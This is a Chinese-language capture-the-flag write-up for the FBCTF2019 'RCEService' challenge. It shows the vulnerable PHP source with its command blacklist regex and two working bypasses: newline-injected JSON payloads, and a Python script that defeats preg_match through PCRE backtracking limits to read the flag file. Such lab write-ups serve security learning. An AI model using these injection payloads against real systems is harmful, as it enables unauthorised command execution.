本文最后更新于:2023年10月15日 晚上
[FBCTF2019]RCEService
这题是有源码的(别管怎么来的了,我看的十几篇wp都没说清楚):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd'];
if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } }
?>
|
过滤了很多东西
- 代码中使用
putenv('PATH=/home/rceservice/jail');
配置系统环境变量,而我们用不了 cat 也有可能是在这个环境变量下没有这个二进制文件。我们可以直接使用/bin/cat
来调用cat命令。
- Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
两种解法
1. %0a换行绕过
由于加了修饰符s后.才会匹配换行符,所以此处利用%0a
(换行符经过url
编码后)进行绕过。
另外要注意表达式中存在一段\x00-\x1F
会匹配一个%0a
,但多在payload前后加几个%0a
就行了。
发现flag位置:
1
| ?cmd={%0a"cmd":"ls /home/rceservice"%0a}
|

查看flag:
1
| ?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
|

2. 利用PCRE回溯来绕过
原理详见:PHP利用PCRE回溯次数限制绕过某些安全限制
大概就是preg_match()
这个函数有回溯次数限制,突破限制会返回flase
。
只要让它突破限制就行了。
根据这种方法解题,需要用POST发送请求,因为GET会因为头太大报错。
1 2 3 4 5 6
| import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}'
res = requests.post("http://b27f0703-fe79-470f-b1fb-f7cfbd8c966b.node3.buuoj.cn/", data={"cmd":payload}) print(res.text)
|

参考(引用)
[FBCTF2019]RCEService_[fbctf 2019]rceservice_Sk1y的博客-CSDN博客
[FBCTF2019]RCEService | 信安小蚂蚁 (gitee.io)
[BUUCTF题解][FBCTF2019]RCEService - Article_kelp - 博客园 (cnblogs.com)